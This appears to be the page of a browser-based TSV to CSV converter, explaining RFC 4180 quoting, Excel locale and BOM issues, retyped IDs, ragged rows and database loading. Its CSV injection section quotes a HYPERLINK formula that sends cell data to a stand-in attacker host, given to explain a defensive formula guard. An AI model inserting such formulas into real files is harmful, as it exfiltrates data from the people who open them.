TSV to CSV Converter

Tabs come out, commas go in, and every value holding a comma or a quote gets wrapped the way RFC 4180 asks for. Pick the destination first, because a file built for Excel in Germany looks different from one built for a Postgres COPY.

Build the file for

Tab-separated source

Paste straight from a spreadsheet. Tabs split the columns.

CSV result

Waiting for input. Copy a block of cells out of a spreadsheet and paste it in, or load one of the samples below.

0Rows
0Columns
0Quoted fields
0Doubled quotes
0Ragged rows
0Retype risk
Load a sample

A comma inside a cell is the whole problem

Tab-separated data has one rule. A tab ends the field, a newline ends the row, and nothing else is special. An address like 14 Mill Road, Leeds, LS1 4AB sits in a single cell without any escaping, because a comma means nothing to a TSV reader.

CSV does not work like that. The moment tabs become commas, the reader has no way to tell your address commas from the ones you meant as separators.

Find and replace
Vega Foods,14 Mill Road, Leeds, LS1 4AB,net 30
5 columns, the address split apart
Quoted
Vega Foods,"14 Mill Road, Leeds, LS1 4AB",net 30
3 columns, the address intact

One row picks up two extra columns and every value after the address lands under the wrong header. The importer accepts it, because the file is still valid CSV. It is the wrong CSV.

Quoting rules in one table

RFC 4180 gives you two mechanisms. Wrap a field in double quotes when it holds a delimiter, a quote, or a line break, and write a literal quote as two quotes. There is no backslash escape in CSV, which trips up anyone arriving from JSON.

Cell in your TSVWritten to CSVReason
Vega FoodsVega FoodsNo delimiter, no quote, nothing to escape
14 Mill Road, Leeds"14 Mill Road, Leeds"Holds the delimiter, so the whole field is wrapped
"Pinehurst" Ltd"""Pinehurst"" Ltd"Each inner quote is doubled, then the field is wrapped
Cost in EUR; VAT appliesCost in EUR; VAT appliesUntouched with a comma delimiter, wrapped if you switch to semicolon
 North " North "Leading and trailing spaces are kept and quoted so no parser strips them
(nothing between two tabs)(nothing between two commas)An empty cell is an empty field, not a quoted empty string

Switch the delimiter and the counters move. Semicolon output leaves addresses alone and starts quoting anything with a semicolon in it, which is common in notes and in European number formatting.

What this page will not do

Worth knowing before you paste a real export.

Excel opens the same file differently in Berlin and Boston

Double-clicking a .csv hands it to Excel with the list separator from your Windows regional settings. In the United States and the United Kingdom that separator is a comma. Across most of continental Europe it is a semicolon, because the comma already serves as the decimal mark.

Feed a comma file to an Excel running a semicolon locale and every row lands in column A as one long string. The file is fine. The reader disagrees with it.

Two ways out

Set the delimiter to semicolon when you know where the file is going. The Excel, semicolon locale target does it along with the BOM.

The other option is a first line reading sep=; which tells Excel to override the locale. No other parser understands it. Python, R, and every database import will read that line as a data row, so keep it out of files headed anywhere else.

The byte order mark

Without the three bytes EF BB BF at the start of the file, Excel reads a CSV using the legacy system code page rather than UTF-8. Accented names arrive as mojibake and CJK text as noise. Tick the BOM box for anything a person opens in Excel. Leave it off for machine imports, where those bytes attach themselves to your first header name and break a column match in a way nobody notices for hours.

The box in this page shows the text without the marker. It is added to the downloaded file, which is the only place it does any work.

Your IDs are not numbers, and Excel disagrees

This is the failure people blame on the converter, and the converter is innocent every time.

A spreadsheet retypes each value as it opens the file. Anything shaped like a number becomes a number, and the original text is gone once the file is saved again.

The Retype risk counter marks these cells and the parsed-back table highlights them, so you see the problem before you send the file.

Quoting does not protect them. A quoted field in CSV means "this text contains a delimiter", nothing more. Excel strips the quotes and retypes the value anyway. The fixes that work are importing through Data then From Text with those columns set to Text, or shipping an .xlsx where the cell type travels with the data.

A cell starting with = is a program

Open a CSV in Excel, LibreOffice, or Sheets and any cell beginning with =, +, -, or @ is evaluated as a formula. A value like =HYPERLINK("http://attacker.test?d="&A2,"Click") pulls data out of the sheet the moment someone clicks it. This is CSV injection, and it matters most when your table contains text other people typed into a form.

The formula guard puts an apostrophe in front of those values. Excel and LibreOffice read a leading apostrophe as "treat the rest as text" and hide it in the cell.

It has a cost. The apostrophe is a real character in the file, so a parser or a database import receives '=1+1 rather than =1+1. Turn the guard on for files a person opens, leave it off for machine pipelines, and never rely on it as your only defence against untrusted input.

Numbers are left alone. A negative figure like -2450.75 parses as a number and never reaches a formula parser, so the guard skips it. Load the Cells starting with = and + sample and watch which rows get the prefix and which do not.

Ragged rows break the header contract

A CSV importer aligns by position, not by name. Row three with three fields against a four column header means every value after the gap shifts one place left, and the last column comes up empty.

The row counter compares each row against the width of the first one. Two things look identical in a TSV file and are not the same at all: a cell deliberately left empty, written as two tabs in a row, and a row that ended early. The parsed-back table marks empty cells so you can tell them apart.

Fix ragged rows at the source when you can. A short row usually means a broken export or a value containing a stray newline further up the file.

Read it back before you send it

The Parsed back tab is not a preview of what you pasted. It runs the generated CSV through a quote-aware parser, the same way a receiving system will, and shows what comes out the other side.

Every field is then compared against the source cell by cell. A match means the quoting survives a round trip. A mismatch means your data holds something the current settings cannot express, and the status line says so rather than handing you a file that looks fine.

Check the column count on the first row of the table. If it reads 1, the input never had tabs in it.

Which settings each destination wants

For the last one, the loader statements look like this:

Postgres
COPY clients FROM '/tmp/converted.csv'
WITH (FORMAT csv, HEADER true);
Reads RFC 4180 quoting natively
MySQL
LOAD DATA LOCAL INFILE '/tmp/converted.csv'
INTO TABLE clients
FIELDS TERMINATED BY ',' ENCLOSED BY '"'
LINES TERMINATED BY '\n'
IGNORE 1 ROWS;
Match LINES TERMINATED BY to your row endings

A CRLF file loaded with LINES TERMINATED BY '\n' leaves a carriage return glued to the last column of every row. It is invisible in a terminal and it breaks every join you write afterwards.

Nearby pages

Going the other way, CSV to TSV unwraps the quoting and hands back tabs. To inspect a CSV someone sent you before loading it anywhere, CSV Viewer renders it as a table. For a table that needs to become structured data rather than another flat file, TSV to JSON and TSV to XML parse the columns properly, and CSV to SQL writes the insert statements for you.

Questions from people mid-conversion

What comes up once a real spreadsheet export is in the box.

Why not find and replace the tabs with commas myself?

Because any cell holding a comma turns into two cells. Addresses, notes, and job titles carry commas constantly, and the resulting row is longer than the header, so every later value moves under the wrong column. Quotes in the data cause the same damage. The conversion is only safe when each field is checked and wrapped where needed.

Excel put my entire row into column A. What went wrong?

Your copy of Excel expects the list separator from its regional settings, which is a semicolon across most of Europe. A comma file read by a semicolon locale looks like one long text value per row. Switch the delimiter to semicolon, or import through Data then From Text and pick the separator by hand.

Where did the leading zeros in my IDs go?

The CSV still has them. Open the downloaded file in a text editor and 007412 is there. Excel retypes anything numeric while it opens the file and drops the zeros in the process. Quoting the field does not stop it. Import the column as Text, or send an .xlsx where the cell type travels with the value.

Should I turn the formula guard on?

Turn it on when a person opens the file in a spreadsheet, especially when the data came from user input. A cell beginning with an equals sign runs as a formula. Leave it off for database loads and scripts, because the guard adds a literal apostrophe that those consumers will read as part of the value.

What does Always quote change?

Every field gets wrapped, including numbers and empty cells. It makes no difference to a correct parser and it makes hand editing easier, since column boundaries stay visible. The file grows by two characters per field. Some old importers treat a quoted number as text, which is occasionally the behaviour you want.

CRLF or LF for the row endings?

RFC 4180 specifies CRLF and Excel prefers it. Use LF for database loads, git-tracked files, and anything a Unix pipeline reads. The mismatch that hurts is loading a CRLF file with LINES TERMINATED BY backslash n, which leaves an invisible carriage return in your last column.

One of my cells contained a tab. Where is it?

It was lost before you pasted anything here. TSV has no escape character, so a tab inside a value is indistinguishable from a column break and the file that produced it already merged the two. Export as CSV from the source, or as .xlsx, when your data holds tabs inside fields.

Is anything sent to a server?

No. Parsing, quoting, the risk checks, and the round-trip verification all run in JavaScript inside this tab. Nothing is uploaded and nothing is stored, so closing the page clears the input.